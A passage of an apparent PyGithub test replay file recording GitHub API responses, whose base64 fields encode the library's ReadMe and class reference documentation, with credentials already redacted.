GhhcyAnZGVmYXVsdF9icmFuY2gnIHBhcmFtZXRl\ncgoqIGNyZWF0ZV9yZXBvIGhhcyAnYXV0b19pbml0JyBhbmQgJ2dpdGlnbm9y\nZV90ZW1wbGF0ZScgcGFyYW1ldGVycwoqIEdpc3RDb21tZW50IFVSTCBpcyBj\naGFuZ2VkIChzZWUgaHR0cDovL2RldmVsb3Blci5naXRodWIuY29tL2NoYW5n\nZXMvMjAxMi0xMC0zMS1naXN0LWNvbW1lbnQtdXJpcykKKiBBIHR5cG8gaW4g\ndGhlIHJlYWRtZSB3YXMgZml4ZWQgYnkgYHR5bW9maWogPGh0dHBzOi8vZ2l0\naHViLmNvbS90eW1vZmlqPmBfLCB0aGFuayB5b3UKKiBJbnRlcm5hbCBzdHVm\nZjoKICAgICogQWRkIGVuY29kaW5nIGNvbW1lbnQgdG8gUHl0aG9uIGZpbGVz\nLCB0aGFuayB5b3UgYFplYXJpbiA8aHR0cHM6Ly9naXRodWIuY29tL1plYXJp\nbj5gXwogICAgKiBSZXN0b3JlIHN1cHBvcnQgb2YgUHl0aG9uIDIuNQogICAg\nKiBSZXN0b3JlIGNvdmVyYWdlIG1lYXN1cmVtZW50IGluIHNldHVwLnB5IHRl\nc3QKICAgICogU21hbGwgcmVmYWN0b3JpbmcKClByZXZpb3VzIHZlcnNpb25z\nCi0tLS0tLS0tLS0tLS0tLS0tCgpTZWUgYENoYW5nZUxvZyA8aHR0cHM6Ly9n\naXRodWIuY29tL2phY3F1ZXY2L1B5R2l0aHViL2Jsb2IvbWFzdGVyL2RvYy9D\naGFuZ2VMb2cubWQ+YF8uCgpEb3dubG9hZCBhbmQgaW5zdGFsbAo9PT09PT09\nPT09PT09PT09PT09PQoKVGhpcyBwYWNrYWdlIGlzIGluIHRoZSBgUHl0aG9u\nIFBhY2thZ2UgSW5kZXggPGh0dHA6Ly9weXBpLnB5dGhvbi5vcmcvcHlwaS9Q\neUdpdGh1Yj5gXywgc28gYGVhc3lfaW5zdGFsbCBQeUdpdGh1YmAgb3IgYHBp\ncCBpbnN0YWxsIFB5R2l0aHViYCBzaG91bGQgYmUgZW5vdWdoLgpZb3UgY2Fu\nIGFsc28gY2xvbmUgaXQgb24gYEdpdGh1YiA8aHR0cDovL2dpdGh1Yi5jb20v\namFjcXVldjYvUHlHaXRodWI+YF8uCgpUdXRvcmlhbAo9PT09PT09PQoKRmly\nc3QgY3JlYXRlIGEgR2l0aHViIGluc3RhbmNlOjoKCiAgICBmcm9tIGdpdGh1\nYiBpbXBvcnQgR2l0aHViCgogICAgZyA9IEdpdGh1YiggInVzZXIiLCAicGFz\nc3dvcmQiICkKClRoZW4gcGxheSB3aXRoIHlvdXIgR2l0aHViIG9iamVjdHM6\nOgoKICAgIGZvciByZXBvIGluIGcuZ2V0X3VzZXIoKS5nZXRfcmVwb3MoKToK\nICAgICAgICBwcmludCByZXBvLm5hbWUKICAgICAgICByZXBvLmVkaXQoIGhh\nc193aWtpID0gRmFsc2UgKQoKWW91IGNhbiBhbHNvIGNyZWF0ZSBhIEdpdGh1\nYiBpbnN0YW5jZSB3aXRoIGFuIE9BdXRoIHRva2VuOjoKCiAgICBnID0gR2l0\naHViKCB0b2tlbiApCgpPciB3aXRob3V0IGF1dGhlbnRpY2F0aW9uOjoKCiAg\nICBnID0gR2l0aHViKCkKClJlZmVyZW5jZSBkb2N1bWVudGF0aW9uCj09PT09\nPT09PT09PT09PT09PT09PT09CgpZb3UgbmVlZCB0byB1c2UgYSBHaXRodWIg\nQVBJIGFuZCB3b25kZXIgd2hpY2ggY2xhc3MgaW1wbGVtZW50cyBpdD8gYFJl\nZmVyZW5jZSBvZiBBUElzIDxodHRwczovL2dpdGh1Yi5jb20vamFjcXVldjYv\nUHlHaXRodWIvYmxvYi9tYXN0ZXIvZG9jL1JlZmVyZW5jZU9mQXBpcy5tZD5g\nXwoKWW91IHdhbnQgYWxsIHRoZSBkZXRhaWxzIGFib3V0IFB5R2l0aHViIGNs\nYXNzZXM/IGBSZWZlcmVuY2Ugb2YgY2xhc3NlcyA8aHR0cHM6Ly9naXRodWIu\nY29tL2phY3F1ZXY2L1B5R2l0aHViL2Jsb2IvbWFzdGVyL2RvYy9SZWZlcmVu\nY2VPZkNsYXNzZXMubWQ+YF8KCkxpY2Vuc2luZwo9PT09PT09PT0KClB5R2l0\naHViIGlzIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBHTlUgTGVzc2VyIEdlbmVy\nYWwgUHVibGljIExpY2VuY2UuClNlZSBmaWxlcyBDT1BZSU5HIGFuZCBDT1BZ\nSU5HLkxFU1NFUiwgYXMgcmVxdWVzdGVkIGJ5IGBHTlUgPGh0dHA6Ly93d3cu\nZ251Lm9yZy9saWNlbnNlcy9ncGwtaG93dG8uaHRtbD5gXy4KClByb2plY3Rz\nIHVzaW5nIFB5R2l0aHViCj09PT09PT09PT09PT09PT09PT09PT09CgooYE9w\nZW4gYW4gaXNzdWUgPGh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdp\ndGh1Yi9pc3N1ZXM+YF8gaWYgeW91IHdhbnQgdG8gYmUgbGlzdGVkIGhlcmUs\nIEknbGwgYmUgZ2xhZCB0byBhZGQgeW91ciBwcm9qZWN0KQoKKiBgVXB2ZXJ0\nZXIgPGh0dHBzOi8vdXB2ZXJ0ZXIuY29tPmBfIGlzIGEgd2ViLWJhc2VkIHNj\naGVtYXRpYyBjYXB0dXJlIGFuZCBQQ0IgbGF5b3V0IHRvb2wgZm9yIHBlb3Bs\nZSB3aG8gZGVzaWduIGVsZWN0cm9uaWNzLiBEZXNpZ25lcnMgY2FuIGF0dGFj\naCBhIEdpdGh1YiBwcm9qZWN0IHRvIGFuIFVwdmVydGVyIHByb2plY3QuCiog\nYFRyYXRpaHViaXMgPGh0dHA6Ly9weXBpLnB5dGhvbi5vcmcvcHlwaS90cmF0\naWh1YmlzLz5gXyBjb252ZXJ0cyBUcmFjIHRpY2tldHMgdG8gR2l0aHViIGlz\nc3VlcwoqIGh0dHBzOi8vZ2l0aHViLmNvbS9DTUIvY2xpZ2gKKiBodHRwczov\nL2dpdGh1Yi5jb20vbmF0ZHVjYS9xdWlja29wZW4gdXNlcyBQeUdpdGh1YiB0\nbyBhdXRvbWF0aWNhbHkgY3JlYXRlIGlzc3VlcwoqIGh0dHBzOi8vZ2lzdC5n\naXRodWIuY29tLzM0MzM3OTgKKiBodHRwczovL2dpdGh1Yi5jb20venNpY2lh\ncnovYXF1aWxhLWRzcC5vcmcKKiBodHRwczovL2dpdGh1Yi5jb20vcm9iY293\naWUvdmlydHVhbGVudndyYXBwZXIuZ2l0aHViCgpUaGV5IHRhbGsgYWJvdXQg\nUHlHaXRodWIKPT09PT09PT09PT09PT09PT09PT09PT09CgoqIGh0dHA6Ly9z\ndGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMTA2MjUxOTAvbW9zdC1zdWl0\nYWJsZS1weXRob24tbGlicmFyeS1mb3ItZ2l0aHViLWFwaS12MwoqIGh0dHA6\nLy9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMTIzNzk2MzcvZGphbmdv\nLXNvY2lhbC1hdXRoLWdpdGh1Yi1hdXRoZW50aWNhdGlvbgoqIGh0dHA6Ly93\nd3cuZnJlZWJzZC5vcmcvY2dpL2N2c3dlYi5jZ2kvcG9ydHMvZGV2ZWwvcHkt\ncHlnaXRodWIvCiogaHR0cDovL29kZHNob2Nrcy5jb20vYmxvZy8yMDEyLzA4\nLzAyL2RldmVsb3BpbmctY2hhcnNoZWV0Lwo=\n","sha":"3929e1cac3d833cf0c05b10d20de66bcc35a3815","size":4976,"encoding":"base64","name":"ReadMe.rst","_links":{"git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/3929e1cac3d833cf0c05b10d20de66bcc35a3815","html":"https://github.com/PyGithub/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/ReadMe.rst","self":"https://api.github.com/repos/PyGithub/PyGithub/contents/ReadMe.rst?ref=refs/heads/topic/ExperimentOnDocumentation"},"git_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/3929e1cac3d833cf0c05b10d20de66bcc35a3815"} https GET api.github.com None /repos/PyGithub/PyGithub/contents/doc/ReferenceOfClasses.md?ref=refs%2Fheads%2Ftopic%2FExperimentOnDocumentation {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '45572'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4940'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 21:22:43 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7c2a77b0e46dda4d6e11562d52ec5ae0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 10:46:22 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","path":"doc/ReferenceOfClasses.md","html_url":"https://github.com/PyGithub/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/doc/ReferenceOfClasses.md","url":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc/ReferenceOfClasses.md?ref=refs/heads/topic/ExperimentOnDocumentation","content":"WW91IGRvbid0IG5vcm1hbHkgY3JlYXRlIGluc3RhbmNlcyBvZiBhbnkgY2xh\nc3MgYnV0IGBHaXRodWJgLgpZb3Ugb2J0YWluIGluc3RhbmNlcyB0aHJvdWdo\nIGNhbGxzIHRvIGBzZWFyY2hfYCwgYGdldF9gIGFuZCBgY3JlYXRlX2AgbWV0\naG9kcy4KCkNsYXNzIGBHaXRodWJgCj09PT09PT09PT09PT09CgpDb25zdHJ1\nY3RlZCBmcm9tIHVzZXIncyBsb2dpbiBhbmQgcGFzc3dvcmQgb3IgT0F1dGgg\ndG9rZW4gb3Igbm90aGluZzoKCiAgICBnID0gR2l0aHViKCBsb2dpbiwgcGFz\nc3dvcmQgKQogICAgZyA9IEdpdGh1YiggdG9rZW4gKQogICAgZyA9IEdpdGh1\nYigpCgpZb3UgY2FuIGFsc28gdXNlIHlvdXIgY2xpZW50X2lkIGFuZCBjbGll\nbnRfc2VjcmV0OgogICAgZyA9IGdpdGh1Yi5HaXRodWIoY2xpZW50X2lkPSJZ\nb3VyQ2xpZW50SWQiLCBjbGllbnRfc2VjcmV0PSJZb3VyQ2xpZW50U2VjcmV0\nIikKCllvdSBjYW4gYWRkIGFuIGFyZ3VtZW50IGBiYXNlX3VybCA9ICJodHRw\nOi8vbXkuZW50ZXJwcmlzZS5jb206ODA4MC9wYXRoL3RvL2dpdGh1YiJgIHRv\nIGNvbm5lY3QgdG8gYSBsb2NhbCBpbnN0YWxsIG9mIEdpdGh1YiAoaWUuIEdp\ndGh1YiBFbnRlcnByaXNlKS4KWW91IGNhbiBhZGQgYW4gYXJndW1lbnQgYHVz\nZXJfYWdlbnRgIHRvIHNlbmQgYSBjdXN0b20gVXNlci1BZ2VudCBoZWFkZXIg\ndG8gR2l0aHViLgpBbm90aGVyIGFyZ3VtZW50LCB0aGF0IGNhbiBiZSBwYXNz\nZWQgaXMgYHRpbWVvdXRgIHdoaWNoIGhhcyBkZWZhdWx0IHZhbHVlIGAxMGAu\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgcmF0ZV9saW1pdGluZ2A6IHR1\ncGxlIG9mIHR3byBpbnRlZ2VyczogcmVtYWluaW5nIGFuZCBsaW1pdCwgYXMg\nZXhwbGFpbmVkIGluIFtSYXRlIExpbWl0aW5nXShodHRwOi8vZGV2ZWxvcGVy\nLmdpdGh1Yi5jb20vdjMvI3JhdGUtbGltaXRpbmcpCgpNZXRob2RzCi0tLS0t\nLS0KKiBgZ2V0X3VzZXIoKWA6IGBBdXRoZW50aWNhdGVkVXNlcmAKKiBgZ2V0\nX3VzZXIoIGxvZ2luIClgOiBgTmFtZWRVc2VyYAogICAgKiBgbG9naW5gOiBz\ndHJpbmcKKiBgZ2V0X29yZ2FuaXphdGlvbiggbG9naW4gKWA6IGBPcmdhbml6\nYXRpb25gCiAgICAqIGBsb2dpbmA6IHN0cmluZwoqIGBnZXRfcmVwbyggZnVs\nbF9uYW1lIClgOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X2dpc3QoIGlkIClgOiBg\nR2lzdGAKICAgICogYGlkYDogc3RyaW5nCiogYGdldF9naXN0cygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBHaXN0YAoqIGBnZXRfaG9va3MoKWA6IGBQYWdp\nbmF0ZWRMaXN0YCBvZiBgSG9va0Rlc2NyaXB0aW9uYAoqIGBsZWdhY3lfc2Vh\ncmNoX3JlcG9zKCBrZXl3b3JkLCBbbGFuZ3VhZ2VdIClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYFJlcG9zaXRvcnlgCiAgICAqIGBrZXl3b3JkYDogc3RyaW5n\nCiAgICAqIGBsYW5ndWFnZWA6IHN0cmluZwoqIGBsZWdhY3lfc2VhcmNoX3Vz\nZXJzKCBrZXl3b3JkIClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNl\ncmAKICAgICogYGtleXdvcmRgOiBzdHJpbmcKKiBgbGVnYWN5X3NlYXJjaF91\nc2VyX2J5X2VtYWlsKCBlbWFpbCApYDogYE5hbWVkVXNlcmAKICAgICogYGVt\nYWlsYDogc3RyaW5nCiogYHJlbmRlcl9tYXJrZG93biggdGV4dCwgW2NvbnRl\neHRdIClgOiBzdHJpbmcKICAgICogYHRleHRgOiBzdHJpbmcKICAgICogYGNv\nbnRleHRgOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X2dpdGlnbm9yZV90ZW1wbGF0\nZXMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiogYGdldF9naXRpZ25vcmVfdGVtcGxh\ndGUoIG5hbWUgKWA6IGBHaXRpZ25vcmVUZW1wbGF0ZWAKCkNsYXNzIGBQYWdp\nbmF0ZWRMaXN0YAo9PT09PT09PT09PT09PT09PT09PT0KClRoaXMgY2xhc3Mg\naW1wbGVtZW50cyBsYXp5IFtwYWdpbmF0aW9uIHJlcXVlc3RzXShodHRwOi8v\nZGV2ZWxvcGVyLmdpdGh1Yi5jb20vdjMvI3BhZ2luYXRpb24pIGFuZCBoaWRl\ncyBwYWdpbmF0aW9uIGZyb20geW91LiBJdCBpcyB0aGUgcmV0dXJuIHR5cGUg\nb2YgYGdldF9gIG1ldGhvZHMgdGhhdCByZXR1cm4gYSBjb2xsZWN0aW9uLgoK\nWW91IGNhbiBpdGVyYXRlIG9uIGl0IGluIGEgYGZvciBmIGluIHVzZXIuZ2V0\nX2ZvbGxvd2VycygpOmAgbG9vcCBvciB3aXRoIGFueSBbaXRlcnRvb2xzXSho\ndHRwOi8vZG9jcy5weXRob24ub3JnL2xpYnJhcnkvaXRlcnRvb2xzLmh0bWwp\nIGZ1bmN0aW9ucy4KCllvdSBjYW5ub3Qga25vdyB0aGUgbnVtYmVyIG9mIG9i\namVjdHMgcmV0dXJuZWQgYmVmb3JlIHRoZSBlbmQgb2YgdGhlIGl0ZXJhdGlv\nbi4gSWYgdGhhdCdzICpyZWFsbHkqIHdoYXQgeW91IG5lZWQsIHlvdSBjYW50\nIHVzZSBgbGVuKCBsaXN0KCB1c2VyLmdldF9mb2xsb3dlcnMoKSApIClgLAp3\naGljaCBkb2VzIGFsbCB0aGUgcmVxdWVzdHMgbmVlZGVkIHRvIGVudW1lcmF0\nZSB0aGUgdXNlcidzIGZvbGxvd2Vycy4gTm90ZSB0aGF0IHRoZXJlIGlzIG9m\ndGVuIGFuIGF0dHJpYnV0ZSBnaXZpbmcgdGhpcyB2YWx1ZSAoaW4gdGhhdCBj\nYXNlIGB1c2VyLmZvbGxvd2Vyc2ApLgoKWW91IGNhbiBhbHNvIGNhbGwgYGdl\ndF9wYWdlKCBwYWdlIClgIHRvIGV4cGxpY2l0ZWx5IGdldCBhIHNwZWNpZmlj\nIHBhZ2UgaWYgeW91IGRvbid0IHdhbnQgdG8gaGlkZSBwYWdpbmF0aW9uLiBg\ncGFnZWAgc3RhcnRzIGF0IDAuCiogYGdldF9wYWdlKCBwYWdlIClgOiBsaXN0\nCiAgICAqIGBwYWdlYDogaW50ZWdlcgoKQ2xhc3MgYEdpdGh1YkV4Y2VwdGlv\nbmAKPT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0t\nLS0tLQoqIGBzdGF0dXNgOiBpbnRlZ2VyCiogYGRhdGFgOiBkaWN0CgpDbGFz\ncyBgQXV0aGVudGljYXRlZFVzZXJgCj09PT09PT09PT09PT09PT09PT09PT09\nPT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBhdmF0YXJfdXJsYDogc3Ry\naW5nCiogYGJpb2A6IHN0cmluZwoqIGBibG9nYDogc3RyaW5nCiogYGNvbGxh\nYm9yYXRvcnNgOiBpbnRlZ2VyCiogYGNvbXBhbnlgOiBzdHJpbmcKKiBgY3Jl\nYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRpc2tfdXNhZ2VgOiBp\nbnRlZ2VyCiogYGVtYWlsYDogc3RyaW5nCiogYGZvbGxvd2Vyc2A6IGludGVn\nZXIKKiBgZm9sbG93aW5nYDogaW50ZWdlcgoqIGBncmF2YXRhcl9pZGA6IHN0\ncmluZwoqIGBoaXJlYWJsZWA6IGJvb2wKKiBgaHRtbF91cmxgOiBzdHJpbmcK\nKiBgaWRgOiBpbnRlZ2VyCiogYGxvY2F0aW9uYDogc3RyaW5nCiogYGxvZ2lu\nYDogc3RyaW5nCiogYG5hbWVgOiBzdHJpbmcKKiBgb3duZWRfcHJpdmF0ZV9y\nZXBvc2A6IGludGVnZXIKKiBgcGxhbmA6IGBQbGFuYAoqIGBwcml2YXRlX2dp\nc3RzYDogaW50ZWdlcgoqIGBwdWJsaWNfZ2lzdHNgOiBpbnRlZ2VyCiogYHB1\nYmxpY19yZXBvc2A6IGludGVnZXIKKiBgdG90YWxfcHJpdmF0ZV9yZXBvc2A6\nIGludGVnZXIKKiBgdHlwZWA6IHN0cmluZwoqIGB1cmxgOiBzdHJpbmcKCkF1\ndGhvcml6YXRpb25zCi0tLS0tLS0tLS0tLS0tCiogYGNyZWF0ZV9hdXRob3Jp\nemF0aW9uKCBbc2NvcGVzLCBub3RlLCBub3RlX3VybF0gKWA6IGBBdXRob3Jp\nemF0aW9uYAogICAgKiBgc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICog\nYG5vdGVgOiBzdHJpbmcKICAgICogYG5vdGVfdXJsYDogc3RyaW5nCiogYGdl\ndF9hdXRob3JpemF0aW9uKCBpZCApYDogYEF1dGhvcml6YXRpb25gCiAgICAq\nIGBpZGA6IGludGVnZXIKKiBgZ2V0X2F1dGhvcml6YXRpb25zKClgOiBgUGFn\naW5hdGVkTGlzdGAgb2YgYEF1dGhvcml6YXRpb25gCgpFbWFpbHMKLS0tLS0t\nCiogYGFkZF90b19lbWFpbHMoIGVtYWlsLCAuLi4gKWAKICAgICogYGVtYWls\nYDogc3RyaW5nCiogYGdldF9lbWFpbHMoKWA6IGxpc3Qgb2Ygc3RyaW5nCiog\nYHJlbW92ZV9mcm9tX2VtYWlscyggZW1haWwsIC4uLiApYAogICAgKiBgZW1h\naWxgOiBzdHJpbmcKCkV2ZW50cwotLS0tLS0KKiBgZ2V0X2V2ZW50cygpYDog\nYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAKKiBgZ2V0X29yZ2FuaXphdGlv\nbl9ldmVudHMoIG9yZyApYDogYFBhZ2luYXRlZExpc3RgIG9mIGBFdmVudGAK\nICAgICogYG9yZ2A6IGBPcmdhbml6YXRpb25gCgpGb2xsb3dlcnMKLS0tLS0t\nLS0tCiogYGdldF9mb2xsb3dlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nTmFtZWRVc2VyYAoKRm9sbG93aW5nCi0tLS0tLS0tLQoqIGBhZGRfdG9fZm9s\nbG93aW5nKCBmb2xsb3dpbmcgKWAKICAgICogYGZvbGxvd2luZ2A6IGBOYW1l\nZFVzZXJgCiogYGdldF9mb2xsb3dpbmcoKWA6IGBQYWdpbmF0ZWRMaXN0YCBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fZm9sbG93aW5nKCBmb2xsb3dpbmcg\nKWA6IGJvb2wKICAgICogYGZvbGxvd2luZ2A6IGBOYW1lZFVzZXJgCiogYHJl\nbW92ZV9mcm9tX2ZvbGxvd2luZyggZm9sbG93aW5nIClgCiAgICAqIGBmb2xs\nb3dpbmdgOiBgTmFtZWRVc2VyYAoKRm9ya2luZwotLS0tLS0tCiogYGNyZWF0\nZV9mb3JrKCByZXBvIClgOiBgUmVwb3NpdG9yeWAKICAgICogYHJlcG9gOiBg\nUmVwb3NpdG9yeWAKCkdpc3RzCi0tLS0tCiogYGNyZWF0ZV9naXN0KCBwdWJs\naWMsIGZpbGVzLCBbZGVzY3JpcHRpb25dIClgOiBgR2lzdGAKICAgICogYHB1\nYmxpY2A6IGJvb2wKICAgICogYGZpbGVzYDogZGljdCBvZiBzdHJpbmcgdG8g\nYElucHV0RmlsZUNvbnRlbnRgCiAgICAqIGBkZXNjcmlwdGlvbmA6IHN0cmlu\nZwoqIGBnZXRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgR2lzdGAK\nKiBgZ2V0X3N0YXJyZWRfZ2lzdHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nR2lzdGAKCklzc3VlcwotLS0tLS0KKiBgZ2V0X2lzc3VlcygpYDogYFBhZ2lu\nYXRlZExpc3RgIG9mIGBJc3N1ZWAKCktleXMKLS0tLQoqIGBjcmVhdGVfa2V5\nKCB0aXRsZSwga2V5IClgOiBgVXNlcktleWAKICAgICogYHRpdGxlYDogc3Ry\naW5nCiAgICAqIGBrZXlgOiBzdHJpbmcKKiBgZ2V0X2tleSggaWQgKWA6IGBV\nc2VyS2V5YAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9rZXlzKClgOiBg\nUGFnaW5hdGVkTGlzdGAgb2YgYFVzZXJLZXlgCgpNb2RpZmljYXRpb24KLS0t\nLS0tLS0tLS0tCiogYGVkaXQoIFtuYW1lLCBlbWFpbCwgYmxvZywgY29tcGFu\neSwgbG9jYXRpb24sIGhpcmVhYmxlLCBiaW9dIClgCiAgICAqIGBuYW1lYDog\nc3RyaW5nCiAgICAqIGBlbWFpbGA6IHN0cmluZwogICAgKiBgYmxvZ2A6IHN0\ncmluZwogICAgKiBgY29tcGFueWA6IHN0cmluZwogICAgKiBgbG9jYXRpb25g\nOiBzdHJpbmcKICAgICogYGhpcmVhYmxlYDogYm9vbAogICAgKiBgYmlvYDog\nc3RyaW5nCgpPcmdzCi0tLS0KKiBgZ2V0X29yZ3MoKWA6IGBQYWdpbmF0ZWRM\naXN0YCBvZiBgT3JnYW5pemF0aW9uYAoKUmVwb3MKLS0tLS0KKiBgY3JlYXRl\nX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZhdGUs\nIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCBhdXRvX2lu\naXQsIGdpdGlnbm9yZV90ZW1wbGF0ZV0gKWA6IGBSZXBvc2l0b3J5YAogICAg\nKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcK\nICAgICogYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBwcml2YXRlYDogYm9v\nbAogICAgKiBgaGFzX2lzc3Vlc2A6IGJvb2wKICAgICogYGhhc193aWtpYDog\nYm9vbAogICAgKiBgaGFzX2Rvd25sb2Fkc2A6IGJvb2wKICAgICogYGF1dG9f\naW5pdGA6IGJvb2wKICAgICogYGdpdGlnbm9yZV90ZW1wbGF0ZWA6IHN0cmlu\nZwoqIGBnZXRfcmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBu\nYW1lYDogc3RyaW5nCiogYGdldF9yZXBvcyggW3R5cGUsIHNvcnQsIGRpcmVj\ndGlvbl0gKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeWAKICAg\nICogYHR5cGVgOiBzdHJpbmcKICAgICogYHNvcnRgOiBzdHJpbmcKICAgICog\nYGRpcmVjdGlvbmA6IHN0cmluZwoKU3RhcnJlZAotLS0tLS0tCiogYGFkZF90\nb19zdGFycmVkKCBzdGFycmVkIClgCiAgICAqIGBzdGFycmVkYDogYFJlcG9z\naXRvcnlgCiogYGdldF9zdGFycmVkKClgOiBgUGFnaW5hdGVkTGlzdGAgb2Yg\nYFJlcG9zaXRvcnlgCiogYGhhc19pbl9zdGFycmVkKCBzdGFycmVkIClgOiBi\nb29sCiAgICAqIGBzdGFycmVkYDogYFJlcG9zaXRvcnlgCiogYHJlbW92ZV9m\ncm9tX3N0YXJyZWQoIHN0YXJyZWQgKWAKICAgICogYHN0YXJyZWRgOiBgUmVw\nb3NpdG9yeWAKClN1YnNjcmlwdGlvbnMKLS0tLS0tLS0tLS0tLQoqIGBhZGRf\ndG9fc3Vic2NyaXB0aW9ucyggc3Vic2NyaXB0aW9uIClgCiAgICAqIGBzdWJz\nY3JpcHRpb25gOiBgUmVwb3NpdG9yeWAKKiBgZ2V0X3N1YnNjcmlwdGlvbnMo\nKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeWAKKiBgaGFzX2lu\nX3N1YnNjcmlwdGlvbnMoIHN1YnNjcmlwdGlvbiApYDogYm9vbAogICAgKiBg\nc3Vic2NyaXB0aW9uYDogYFJlcG9zaXRvcnlgCiogYHJlbW92ZV9mcm9tX3N1\nYnNjcmlwdGlvbnMoIHN1YnNjcmlwdGlvbiApYAogICAgKiBgc3Vic2NyaXB0\naW9uYDogYFJlcG9zaXRvcnlgCgpXYXRjaGVkCi0tLS0tLS0KKiBgYWRkX3Rv\nX3dhdGNoZWQoIHdhdGNoZWQgKWAKICAgICogYHdhdGNoZWRgOiBgUmVwb3Np\ndG9yeWAKKiBgZ2V0X3dhdGNoZWQoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBg\nUmVwb3NpdG9yeWAKKiBgaGFzX2luX3dhdGNoZWQoIHdhdGNoZWQgKWA6IGJv\nb2wKICAgICogYHdhdGNoZWRgOiBgUmVwb3NpdG9yeWAKKiBgcmVtb3ZlX2Zy\nb21fd2F0Y2hlZCggd2F0Y2hlZCApYAogICAgKiBgd2F0Y2hlZGA6IGBSZXBv\nc2l0b3J5YAoKQ2xhc3MgYEF1dGhvcml6YXRpb25gCj09PT09PT09PT09PT09\nPT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGFwcGA6IGBBdXRo\nb3JpemF0aW9uQXBwbGljYXRpb25gCiogYGNyZWF0ZWRfYXRgOiBkYXRldGlt\nZS5kYXRldGltZQoqIGBpZGA6IGludGVnZXIKKiBgbm90ZWA6IHN0cmluZwoq\nIGBub3RlX3VybGA6IHN0cmluZwoqIGBzY29wZXNgOiBsaXN0IG9mIHN0cmlu\nZwoqIGB0b2tlbmA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUu\nZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0tLQoq\nIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRp\ndCggW3Njb3BlcywgYWRkX3Njb3BlcywgcmVtb3ZlX3Njb3Blcywgbm90ZSwg\nbm90ZV91cmxdIClgCiAgICAqIGBzY29wZXNgOiBsaXN0IG9mIHN0cmluZwog\nICAgKiBgYWRkX3Njb3Blc2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGByZW1v\ndmVfc2NvcGVzYDogbGlzdCBvZiBzdHJpbmcKICAgICogYG5vdGVgOiBzdHJp\nbmcKICAgICogYG5vdGVfdXJsYDogc3RyaW5nCgpDbGFzcyBgQXV0aG9yaXph\ndGlvbkFwcGxpY2F0aW9uYAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG5hbWVgOiBzdHJpbmcK\nKiBgdXJsYDogc3RyaW5nCgpDbGFzcyBgQnJhbmNoYAo9PT09PT09PT09PT09\nPQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGNvbW1pdGA6IGBDb21taXRg\nCiogYG5hbWVgOiBzdHJpbmcKCkNsYXNzIGBDb21taXRgCj09PT09PT09PT09\nPT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYXV0aG9yYDogYE5hbWVk\nVXNlcmAKKiBgY29tbWl0YDogYEdpdENvbW1pdGAKKiBgY29tbWl0dGVyYDog\nYE5hbWVkVXNlcmAKKiBgZmlsZXNgOiBsaXN0IG9mIGBGaWxlYAoqIGBwYXJl\nbnRzYDogbGlzdCBvZiBgQ29tbWl0YAoqIGBzaGFgOiBzdHJpbmcKKiBgc3Rh\ndHNgOiBgQ29tbWl0U3RhdHNgCiogYHVybGA6IHN0cmluZwoKQ29tbWVudHMK\nLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIFtsaW5lLCBwYXRo\nLCBwb3NpdGlvbl0gKWA6IGBDb21taXRDb21tZW50YAogICAgKi